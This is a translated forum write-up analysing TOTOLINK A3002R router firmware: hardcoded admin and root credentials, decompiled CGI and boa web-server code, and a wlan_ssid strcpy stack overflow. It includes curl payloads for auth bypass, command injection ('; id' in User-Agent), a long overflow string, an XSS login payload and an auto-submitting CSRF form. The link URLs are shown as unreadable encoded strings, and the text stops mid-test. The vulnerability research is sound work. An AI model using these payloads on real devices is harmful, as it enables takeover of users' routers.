首页
社区
课程
招聘
[翻译]TOTOLINK A3002R路由器静态分析和1day漏洞利用
发表于: 2025-7-28 17:21 848

[翻译]TOTOLINK A3002R路由器静态分析和1day漏洞利用

2025-7-28 17:21
848

原文标题翻译:[1-day] 静态分析
原文链接:[1-day] 정적 분석
原博主地址:goldenGlow_21
博主文章质量很高,有pwn基础并想要入手IOT可以追一下他的博客!
在搬运前已在github上取得博主的许可
我会用块注释加上一些我个人添加的注释在文章中辅助理解
前半段是对固件的分析
漏洞挖掘部分是对该固件的一个1day漏洞的复现
如果有翻译错误,请及时联系我指出!
希望这篇文章可以帮到你!

初步分析

文件系统提取

binwalk -e TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web

原博主用的固件地址:TOTOLINK

图片描述
确认 squashfs 文件系统

文件系统分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root$ readelf -h ./bin/busybox
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x403fc0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x70001005, noreorder, cpic, o32, mips32r2
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0
  • 架构:MIPS little endian

主要目录总结

  • /bin:存放可执行的二进制文件
  • /etc:存放配置文件
  • /lib:包含共享库文件
  • /usr:包含一些额外的可执行文件和配置文件
  • /var:用于存放日志和其他数据
  • /web:与 Web 管理页面相关的文件
  • /dev, /proc, /sys:与虚拟文件系统相关的目录

异常点分析

硬编码密码分析

  • password
1
2
3
4
5
6
7
8
9
10
11
12
13
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "password" squashfs-root/
squashfs-root/web/add/top_menu_tools.htm:<li><a href="/password.htm" target="view"><script>dw(menu_pwd)</script></a></li>
squashfs-root/web/util_gw.js:           alert(password_passwd_unmatcheds);
squashfs-root/web/util_gw.js:       alert(password_passwd_unmatcheds);
squashfs-root/web/util_gw.js:       alert(password_passwd_unmatcheds);
...
grep: squashfs-root/lib/libssl.so: binary file matches
grep: squashfs-root/lib/libcrypto.so.1.0.0: binary file matches
squashfs-root/etc/samba/smb.conf:# Use password server option only with security = server
squashfs-root/etc/samba/smb.conf:;   password server = <NT-Server-Name>
squashfs-root/etc/samba/smb.conf:# You may wish to use password encryption. Please read
squashfs-root/etc/samba/smb.conf:;  encrypt passwords = yes
squashfs-root/etc/wscd.conf:device_password_id = 0
  • admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "admin" squashfs-root/
squashfs-root/web/login.htm:<input type="hidden" id="username" name="username" value="admin">
squashfs-root/web/mobile/login.asp:<input type="hidden" id="username" name="username" value="admin">
squashfs-root/web/mobile/forgot.asp:                <h5><script>dw(MB_def_name)</script>:admin</h5>
squashfs-root/web/mobile/forgot.asp:                <h5><script>dw(MB_def_pass)</script>:admin</h5>
squashfs-root/web/administration.htm:   document.formDiskManagementUser.submit_url.value = "/administration.htm";
squashfs-root/web/administration.htm:   document.formDiskManagementGroup.submit_url.value = "/administration.htm";
squashfs-root/web/administration.htm:   <input type="hidden" value="/administration.htm" name="submit-url">
grep: squashfs-root/bin/pptp: binary file matches
grep: squashfs-root/bin/iptables: binary file matches
grep: squashfs-root/bin/flash: binary file matches
grep: squashfs-root/bin/ip6tables: binary file matches
grep: squashfs-root/bin/l2tpd: binary file matches
grep: squashfs-root/bin/traceroute: binary file matches
grep: squashfs-root/lib/libntfs-3g.so.85.0.0: binary file matches
  • root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "root" squashfs-root/
squashfs-root/web/add/top_menu_wifilock.htm:    var root_onekeyAccessenabled = <%getIndex("root_oneKeyAccessEnabled");%>;
squashfs-root/web/add/top_menu_wifilock.htm:    if(root_onekeyAccessenabled)
squashfs-root/web/add/top_menu_wifilock.htm:    {   f.elements["root_enabled"].selectedIndex = 1;
squashfs-root/web/add/top_menu_wifilock.htm:        f.elements["root_enabled"].selectedIndex = 0;
...
root/etc/shadow.sample:root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/:14587:0:99999:7:::
squashfs-root/etc/dnsmasq.conf:# answer, and which load the servers (especially the root servers)
squashfs-root/etc/tmp/picsdesc6.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc6.skl:  </root>
squashfs-root/etc/tmp/picsdesc.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc.xml:  </root>
squashfs-root/etc/tmp/picsdesc6.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc6.xml:  </root>
squashfs-root/etc/tmp/picsdesc.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">
squashfs-root/etc/tmp/picsdesc.skl:  </root>
squashfs-root/etc/passwd:root:x:0:0:root:/:/bin/sh

分析发现的内容

1. 默认管理员账户

文件路径:

  • squashfs-root/web/login.htm
  • squashfs-root/web/mobile/login.asp
  • squashfs-root/web/mobile/forgot.asp

发现的值:

1
2
3
<input type="hidden" id="username" name="username" value="admin">
<h5><script>dw(MB_def_name)</script>:admin</h5>
<h5><script>dw(MB_def_pass)</script>:admin</h5>

管理员账号(admin)已被硬编码,并且很可能默认密码也为 admin


2. root 账户及相关配置

文件路径:

  • squashfs-root/etc/passwd
  • squashfs-root/etc/shadow
  • squashfs-root/etc/boa.org/boa.conf

发现的值:

1
2
3
4
5
6
7
root:x:0:0:root:/:/bin/sh
 
squashfs-root/etc/shadow.sample: 
root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/
 
User root 
Group root 
  • 系统中存在 root 账户,并且密码以哈希形式保存在 shadow.sample 文件中。
  • boa.conf 配置显示网页服务器以 root 用户身份运行。
    • 网页服务器可能以 root 权限运行。
  • 一旦攻击者获取 root 账户,即可能获得系统的完全控制权。

3. 管理员密码的存储方式

文件路径:

  • squashfs-root/web/password.htm
  • squashfs-root/web/tr069config.htm
  • squashfs-root/web/gateway_mode.htm
  • squashfs-root/web/util_gw.js

发现的值:

1
2
<form action=/boafrm/formPasswordSetup method=POST name="password">
<input type="password" name="newPass" maxlength="30">
1
2
3
4
<td><input type="password" name="ddnsPassword" maxlength="30" value="<% getInfo("ddnsPassword"); %>"></td>
<td><input type="password" name="pppPassword" maxlength="128" value="<% getInfo("pppPassword"); %>"></td>
<td><input type="password" name="pptpPassword" maxlength="128" value="<% getInfo("pptpPassword"); %>"></td>
<td><input type="password" name="l2tpPassword" maxlength="128" value="<% getInfo("l2tpPassword"); %>"></td>
  • HTML 代码中存在以模板形式嵌入的密码值,
    • <% getInfo("pppPassword"); %>
  • DDNS、PPPoE、VPN(PPTP、L2TP)等密码可通过前端源码直接查看。
  • JavaScript 中还包含与密码错误相关的提示,当攻击者分析 Web 界面时,很容易理解密码策略

4. Samba 与其他服务的认证信息

文件路径:

  • squashfs-root/etc/samba/smb.conf
  • squashfs-root/etc/vsftpd.conf
  • squashfs-root/etc/minidlna.conf

发现的值:

1
2
3
;  encrypt passwords = yes
;  password server = <NT-Server-Name>
local_root=/var/tmp/usb

Samba 与 FTP 配置文件中可能未启用加密密码功能。

  • local_root=/var/tmp/usb 表明系统可能会将本地 USB 存储挂载于该路径,存在认证信息被泄露的风险。

Web 界面分析

文件路径:
/squashfs-root/web/cgi-bin/cstecgi.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // $a1
  int v4; // $a2
  int v5; // $v0
  int v6; // $s1
  ...
  _BYTE v45[4096]; // [sp+1F8h] [-200Ch] BYREF
  char v46[4096]; // [sp+11F8h] [-100Ch] BYREF
  const char *v47; // [sp+21F8h] [-Ch]
 
  v6 = getenv("stationIp", argv, envp);
  v5 = getenv("CONTENT_LENGTH", v3, v4);
  v7 = strtol(v5, 0, 10);
  puts("\n");
  if ( apmib_init() )
  {
    memset(v46, 0, sizeof(v46));
    if ( (unsigned int)v46 >= 0x1000 )
      v8 = 4096;
    else
      v8 = v7 + 1;
    fread(v46, 1, v8, stdin);
    if ( !v6 )
      getenv("REMOTE_ADDR", v9, v10);
    v11 = getenv("QUERY_STRING", v9, v10);
    v12 = v11;
    v13 = v46;
    if ( v11 )
    {
      v14 = strstr(v11, "CSAuthUrl=");
      if ( v14 )
      {
        v13 = v45;
        memset(v45, 0, sizeof(v45));
        sprintf(v45, "{\"topicurl\":\"setting/refineCSAuth\",\"CSAuthUrl\":\"%s\"}", v14 + 10);
      }
      else
      {
        v13 = v45;
        if ( strstr(v12, "CSAuth=login") )
        {
          memset(v45, 0, sizeof(v45));
          sprintf(v45, "{\"topicurl\":\"setting/formPostCSAuth\",\"CSAuthUrl\":\"%s\"}", v46);
        }
        else
        {
          v13 = v46;
          if ( strstr(v12, "action=login") )
          {
            v17 = strstr(v12, "flag=1");
            v47 = (const char *)getenv("http_host", v15, v16);
            memset(v45, 0, sizeof(v45));
            if ( v17 )
            {
              sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1\"}", v46, v47);
              v13 = v45;
            }
            else
            {
              v13 = v45;
              sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s\"}", v46, v47);
            }
          }
        }
      }
    }
    v18 = cJSON_Parse(v13);
    if ( v18 )
    {
      if ( *v13 == 91 )
        ArrayItem = cJSON_GetArrayItem(v18, 0);
      else
        ArrayItem = v18;
      v20 = *(_DWORD *)(cJSON_GetObjectItem(ArrayItem, "topicurl") + 16);
      Object = cJSON_CreateObject();
      if ( strstr(v20, "getSysStatusCfg") )
      {
        apmib_get(201, &v35);
        sprintf(v41, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40);
        String = cJSON_CreateString(v41);
        cJSON_AddItemToObject(Object, "lanMac", String);
        apmib_get(170, v41);
        v23 = inet_ntoa(v41[0]);
        strcpy(v41, v23);
        v24 = cJSON_CreateString(v41);
        v25 = "lanIp";
      }
      else
      {
        if ( !strstr(v20, "getCrpcConfig") )
          goto LABEL_31;
        strcpy(v41, "ping -c 1 8.8.8.8 > /dev/null");
        v26 = system(v41);
        v27 = sub_4012F8(v26 == 0);
        Number = cJSON_CreateNumber(v27, HIDWORD(v27));
        cJSON_AddItemToObject(Object, "status", Number);
        v29 = fopen("/tmp/crpc_url", "r");
        v30 = v29;
        if ( v29 )
        {
          fgets(v42, 100, v29);
          fclose(v30);
        }
        memset(v44, 0, sizeof(v44));
        for ( i = 0; i < strlen(v42); ++i )
        {
          v32 = (char)v42[i];
          if ( v32 == 10 )
            break;
          v44[i] = v32;
        }
        apmib_get(201, &v35);
        sprintf(v43, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40);
        sprintf(v41, "%s%s?mac=%s", "5dbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4S2M7Y4W2K6N6s2g2V1K9h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6J5L8%4g2@1k6i4u0Q4x3V1k6%4k6h3y4Z5j5i4c8E0j5h3&6S2k6$3g2Q4x3V1k6J5L8%4g2@1k6i4u0#2M7X3I4Q4x3@1k6#2M7X3I4Q4x3@1b7`.", v44, v43);
        v24 = cJSON_CreateString(v41);
        v25 = "url";
      }
      cJSON_AddItemToObject(Object, v25, v24);
LABEL_31:
      v33 = (const char *)cJSON_Print(Object);
      printf("%s", v33);
      cJSON_Delete(Object);
      cJSON_Delete(v18);
      free(v33);
      exit(0);
    }
  }
  return -1;
}
  • 处理环境变量输入(getenv()

    • 获取并利用 stationIpCONTENT_LENGTHREMOTE_ADDRQUERY_STRINGhttp_host 等环境变量
    • 利用 QUERY_STRING 的值(如 action=login)来触发特定行为
  • CGI 请求解析与 JSON 处理(cJSON_Parse()

    • 使用 cJSON_Parse(v13) 解析 JSON 格式的 CGI 请求数据
  • 命令执行逻辑(包含 system() 调用,例如 getCrpcConfig

    • 执行:ping -c 1 8.8.8.8 > /dev/null
    • 在某些条件满足时会调用 system(v41)
  • 存在缓冲区溢出风险(fgets()strcpy()sprintf()

    • 代码中存在处理 JSON 数据时未进行长度校验的情况

漏洞判断

  • 基于环境变量的攻击

    • getenv("stationIp"), getenv("CONTENT_LENGTH") → 攻击者可以注入被篡改的环境变量值
    • strtol(v5, 0, 10); → 在将 CONTENT_LENGTH 值转换为数字的过程中存在溢出的可能性
    • QUERY_STRING 的值(如 action=login, CSAuth=login 等)可能因操作而异
  • 存在旁路认证绕过的可能性(action=login

    • 登录请求通过字符串 "action=login" 进行识别
    • 没有实际的用户身份认证(密码验证)
    • 仅基于 HTTP Host 生成登录 URL 的方式
  • 命令注入

    • 如果运行一个命令,其中包括环境变量或用户输入,攻击者可能会注入 shell 命令
    • system(v41)运行前确保没有输入的过滤。
  • 栈溢出

    • sprintf(v45, "...", v46) 中,对输入值 v46 的长度没有限制
    • 攻击者注入过长的输入值时可能导致栈溢出

准备EXP

在此之前,我个人建议先自行模拟运行一遍固件,简单看一下功能点,并自行逆向分析一下其中的boa和cgi文件
顺带一提,里面的符号表如果ida未能识别可以参考我的这篇文章! [分享]使用ida脚本 恢复/提取 ida未能识别的ELF文件符号表

  1. 认证绕过
    curl -X GET "260K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8X3q4U0N6r3W2G2L8W2)9K6c8r3I4G2k6$3W2F1"
  2. 命令注入
    curl -X GET "d57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8X3q4U0N6r3W2G2L8W2)9K6c8r3N6W2N6p5y4J5M7r3y4o6L8$3&6X3K9h3M7`." -H "User-Agent: ; id"
  3. 栈溢出
    curl -X GET "b1dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8V1y4e0b7i4g2@1K9q4g2J5L8q4)9K6c8q4)9J5y4q4)9J5z5s2m8&6N6r3S2G2L8U0x3`. -c 'print("A"*5000)')"

确认网页服务器配置(boa.conf)中管理员访问限制

问题点 说明 影响
以root权限运行(User root, Group root) 网页服务器以root权限运行 若漏洞被利用,可能导致整个系统被攻陷
允许执行CGI(AddType application/x-httpd-cgi cgi) .cgi 文件可以被执行 恶意CGI上传时可能执行代码(存在远程代码执行RCE风险)
通过ScriptAlias允许在/cgi-bin/执行CGI /var/web/cgi-bin/内所有文件均可执行 若目录内存在漏洞脚本,可能导致远程代码执行
禁用KeepAlive(KeepAliveMax 0) 持续连接(KeepAlive)被禁用 相较性能问题,更容易使攻击者发送多次请求
MIME类型指定(AddType application/x-httpd-cgi php) 可能允许执行.php扩展名文件 攻击者可能尝试执行PHP代码

以 root 权限运行

1
2
User root
Group root
  • 网页服务器进程以 root 权限运行
  • 如果攻击者利用了 RCE(远程代码执行)漏洞,可能立即获取 root 权限
  • 通常出于安全考虑,网页服务器应以受限权限(如 nobodywww-data)运行

CGI执行路径

1
2
3
AddType application/x-httpd-cgi cgi
ScriptAlias /cgi-bin/ /var/web/cgi-bin/
CGIPath /bin:/usr/bin:/var/web/cgi-bin/
  • 设置为允许执行 /cgi-bin/ 目录下的所有文件
  • 如果攻击者找到可以上传 .cgi 文件的路径,可能实现任意代码执行(RCE)

确认 /var/web/cgi-bin/ 目录中存在哪些 CGI 文件
检查是否存在如 cstecgi.cgi 之类的 CGI 可执行文件是否位于该目录中

MIME 类型设置

AddType application/x-httpd-cgi php

  • 可能会导致 .php 文件被执行
  • 虽然 boa 网页服务器通常不直接执行 PHP,但若存在额外的解释器,仍可能被执行
1
2
ls -l /var/web/cgi-bin/ 
ls -l /var/web/

确认网页服务器内有哪些文件
如果存在如 /var/web/admin/ 的目录,可能存在管理员页面访问的可能性

DirectoryIndex 设置

DirectoryIndex index.html

  • index.html 被设定为默认页面
  • 未阻止自动目录列表
  • 即,如果 boa.conf 中未设置 DirectoryMaker,则目录索引功能可能被启用
1
curl -X GET "911K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3"

HTTP 响应头缺乏安全设置

  • boa.conf 中未设置与安全相关的 HTTP 头(如 X-Frame-OptionsContent-Security-Policy 等)
  • 可能容易受到 XSS(跨站脚本)等攻击
1
curl -I http://192.168.0.1/

如果缺少安全头(X-Frame-OptionsContent-Security-Policy),则存在 XSS 攻击的可能性。

登录页面(login.htm)源码分析

通过 formLogin 发起登录请求:

1
2
3
4
5
<form action=/boafrm/formLogin method=POST>
  <input type="hidden" value="/login.htm" name="submit-url">
  <input type="hidden" id="username" name="username" value="admin">
  <input type="password" id="userpass" name="userpass" maxlength="15">
  <button type="button" id="cs_login_btn">
  • 表单的 action/boafrm/formLogin
    • 登录请求将发送至 /boafrm/formLogin CGI 端点
  • <input type="hidden" id="username" name="username" value="admin">
    • 管理员账号(admin)被硬编码
    • 需要确认攻击者是否能篡改该输入字段
  • 密码输入字段(maxlength="15"
    • 仅在客户端限制:需确认服务器端是否也进行验证
1
postVar['userpass'] = $("input[name='userpass']").val();
  • 客户端仅确认是否输入了密码?
  • 需确认服务器是否真正进行了认证检查

登录按钮点击后的行为需要进一步确认

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$('#cs_login_btn').on('click', function(event) {
    if($("input[name='username']").val()==''){
        $('#myDiv span').html(lgerr5);
        $('#myDiv').show();
        return false;
    }
    if($("input[name='userpass']").val()==''){
        $('#myDiv span').html(lgerr7);
        $('#myDiv').show();
        return false;
    }
 
    var postVar={"topicurl":"setting/setUserLogin"};
    postVar['username']=$("input[name='username']").val();
    postVar['userpass']=$("input[name='userpass']").val();
    postVar['submit-url']=$("input[name='submit-url']").val();
    postVar=JSON.stringify(postVar);
    $.ajax({
        type : "post",
        url : " /boafrm/formLogin",
        data : postVar,
        async : false,
        success : function(Data){
            if((Data.length == 0)&&(<% getIndex("auth_enb"); %> == 1)){
                parent.location= "home.htm#flag=1";
            } else if(Data.length == 0){
                parent.location="wizardset.htm";
            } else {
                window.eval(Data);
                $("#myDiv").show();
                return false;
            }
        }
    });
});
  • 登录请求被转换为 JSON 格式后,通过 POST 方式发送到 /boafrm/formLogin
  • 如果登录响应为空,则自动重定向到 home.htmwizardset.htm
  • 使用 window\.eval(Data);
    • 可能直接执行服务器响应内容(存在 XSS 或代码执行漏洞的可能性)

window.eval(Data);

  • 使用 eval() 执行服务器响应的数据
  • 如果攻击者诱导服务器返回包含恶意 JavaScript 的响应,则存在 XSS 或代码执行的可能性。
1
curl -X POST "e81K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1" -d '{"username":"<script>alert(1)</script>", "userpass":"admin"}'
  • 若 XSS 被执行,攻击者可能劫持管理员会话

CSRF(跨站请求伪造)漏洞

  • 登录表单中缺少 CSRF 防护机制

<form action=/boafrm/formLogin method=POST>

1
2
3
4
5
6
7
8
9
10
<html>
<body>
    <form action="266K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1" method="POST">
        <input type="hidden" name="username" value="admin">
        <input type="hidden" name="userpass" value="admin">
        <input type="submit">
    </form>
    <script>document.forms[0].submit();</script>
</body>
</html>
  • 用户访问该 HTML 页面时会自动登录 → CSRF 攻击成功

网络设置及加密检查

网络服务及相关配置文件整理

服务 角色 相关配置文件
dnsmasq 提供 DNS 缓存及 DHCP 服务 /etc/dnsmasq.conf
udhcpd 简易 DHCP 服务器 /etc/udhcpd.conf
pppd PPPoE(VPN)认证及连接 /etc/ppp/options, /etc/ppp/chap-secrets, /etc/ppp/pap-secrets
openvpn VPN 服务 /etc/openvpn/server.conf, /etc/openvpn/client.conf
l2tpd L2TP VPN 服务 /etc/l2tp/l2tpd.conf

各服务可能存在的漏洞及影响

服务 漏洞 影响
dnsmasq log-queries 启用 内部 DNS 请求可能被暴露
dnsmasq 未设置 no-resolv 可能添加恶意 DNS 服务器
udhcpd udhcpd.leases 文件暴露 临时 DHCP 分配信息可能泄露
pppd noauth 设置 可能允许未经认证的 PPP 连接
openvpn 使用 AES-128-CBC 加密 加密强度不足(建议使用 AES-256-GCM)
l2tpd 认证信息可能硬编码 攻击者可能访问 VPN

dnsmasq.conf
秘钥配置分析

  • domain-needed → 阻止本地名称请求(安全)

  • bogus-priv → 阻止私有 IP 的 DNS 请求(安全)

  • resolv-file=/etc/resolv.conf

    • 从上游 DNS 服务器 /etc/resolv.conf 获取
  • DHCP 相关配置被注释 →(无 dhcp-rangedhcp-host

    • 目前 DHCP 功能可能被禁用?
  • log-queries 被禁用 → DNS 查询日志关闭(保护隐私)

  • 缺少 no-resolv 配置 → 存在攻击者修改 /etc/resolv.conf 以使用恶意 DNS 的风险

漏洞分析

  • no-resolv 选项被注释
1
2
#no-resolv 
resolv-file=/etc/resolv.conf 
  • dnsmasq 配置从 /etc/resolv.conf 获取上游 DNS 服务器

  • no-resolv 被注释,意味着攻击者若能修改 /etc/resolv.conf,能将流量重定向到恶意 DNS 服务器

    • 存在中间人攻击风险
  • log-queries 选项被注释

  • 不记录 DNS 请求日志 → 难以进行入侵检测(IDS/IPS)及故障排查

  • 攻击者可能利用 dnsmasq 进行 DNS 解析器信息收集

  • 缺少 expand-hosts 选项

  • 未启用 expand-hosts,内部域名不会自动扩展

  • 攻击者可通过修改 hosts 文件,扫描和探测内部网络设备

udhcpd.conf

  • 系统中存在 udhcpd 服务,但未发现配置文件
  • 后续将在 Linux 环境中进行进一步确认

漏洞挖掘

目标文件位置

A3002R-V1.1.1-B20200824/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin/boa

在分析管理网页访问权限等设置的阶段,通过分析负责整体网页服务器配置的 boa 文件发现相关内容

  • boa:用于嵌入式设备的轻量级网页服务器
  • DIR-882 设备中可视为类似 lighttpd 的实现
  • 可进一步关联分析 /squashfs-root/web/cgi-bin/cstecgi.cgi 等文件
1
2
3
kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin$ checksec --file=boa
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols    No    0       0       boa
  • No RELRO:未应用内存保护
  • No Stack Canary:未应用栈保护机制
  • No PIE:ASLR(内存随机化)未应用

脚本分析

  • 已加载至 IDA,开始进行分析

图片描述

sub_440C2C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall sub_440C2C(int a1, int a2, int a3)
{
  int v7; // [sp+18h] [-3Ch] BYREF
  _BYTE v8[12]; // [sp+1Ch] [-38h] BYREF
  _BYTE v9[44]; // [sp+28h] [-2Ch] BYREF
 
  apmib_save_wlanIdx();
  sprintf(v8, "wlan%d-vxd", a1);
  sub_422694(v8);
  apmib_get(1, v9);
  if ( strcmp(v9, a3) && strcmp(a3, v9) )
  {
    v7 = 1;
    apmib_set(272, &v7);
    strcpy(v9, a3);
    apmib_set(1, v9);
    apmib_set(278, v9);
    apmib_set(a2, v9);
  }
  sprintf(v8, "wlan%d", a1);
  sub_422694(v8);
  return apmib_recov_wlanIdx();
}
  • 该函数用于添加 WLAN SSID
  • boa 网页服务器中 CGI 处理函数 formWlEncrypt 的一个子函数

漏洞分析

  • boa 网页服务器中,wlan_ssid 的值在后端被 strcpy() 复制时未做长度限制,导致漏洞产生
  • 具体来说,wlan_ssid 的值未经过长度验证便被传入 strcpy(),可能导致栈溢出
  • strcpy(v9, a3);→ 未验证输入长度直接复制 → BOF(Buffer Over Flow)

sub_442C28
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
v9 = (_BYTE *)sub_43BFA4(a1, "wlan_ssid", a2);
  if ( *v9 )
  {
    if ( vwlan_idx >= 5 )
    {
      v10 = 253;
      if ( !wlan_idx )
        v10 = 251;
      sub_440C2C(wlan_idx, v10, (int)v9);
    }
    else
    {
      apmib_set(1, v9);
    }
  }
  v11 = (_BYTE *)sub_43BFA4(a1, "hiddenSSID", a2);
...
  • 可以确认漏洞触发条件是 vwlan_idx 值必须大于等于 5。

漏洞验证,EXP

sub_407424

  • 只需触发 CGI 函数 formWlanRedirect 即可将 vwlan_idx 设置为 5 以上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
...
  v1 = a1 + 567;
  if ( strstr(a1 + 567, "formWlanRedirect") )
  {
    v2 = strstr((char *)a1 + 4317, "redirect-url=");
    v3 = v2 + 13;
    if ( v2 )
    {
      v4 = (_BYTE *)strstr(v2 + 13, "&wlan_id=");
      if ( v4 )
      {
        *v4 = 0;
        v56 = v4 + 9;
        v5 = (_BYTE *)strstr(v4 + 9, "&mssid_idx=");
        v6 = v56;
        if ( !v5 || (*v5 = 0, v5 == (_BYTE *)-11) )
        {
          v56 = v6;
          v12 = (_BYTE *)strstr(v6, " HTTP");
          v8 = v56;
          if ( v12 )
          {
            *v12 = 0;
            v10 = a1;
            v11 = v3;
            v9 = 0;
            goto LABEL_10;
          }
        }
        else
        {
          v56 = v6;
          v55 = v5 + 11;
          v7 = (_BYTE *)strstr(v5 + 11, " HTTP");
          v8 = v56;
          v9 = v55;
          if ( v7 )
          {
            *v7 = 0;
            v10 = a1;
            v11 = v3;
LABEL_10:
            sub_43BDFC(v10, v11, v8, v9);  //TARGET
            return 0;
          }
        }
      }
    }
  }
...

具体来说,可以准备如下请求:

1
2
3
4
5
url = "193K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5h3c8V1i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8g2N6D9j5h3&6d9k6h3c8A6M7X3g2U0N6l9`.`."
params = {
    "redirect-url": "wlbasic.htm",
    "wlan_id": "5"
}

漏洞验证准备

git clone 63fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7U0m8$3x3%4u0T1M7#2)9J5c8V1k6A6M7X3#2m8c8b7`.`.

apt-get install gdb-multiarch

1
2
3
4
pip install requests`
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

git clone c2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0N6$3W2F1k6o6q4W2M7W2)9J5c8V1c8G2N6$3&6D9L8$3q4V1i4K6u0r3

sudo apt-get install netcat

漏洞验证 — 模拟环境测试

图片描述

  • 使用 FirmAE 进行模拟环境测试
  • 以 admin 身份访问初始页面

漏洞验证 - 溢出测试

  • 实际环境中,ASLR 默认是关闭状态

  • 可通过以下命令关闭 ASLR:

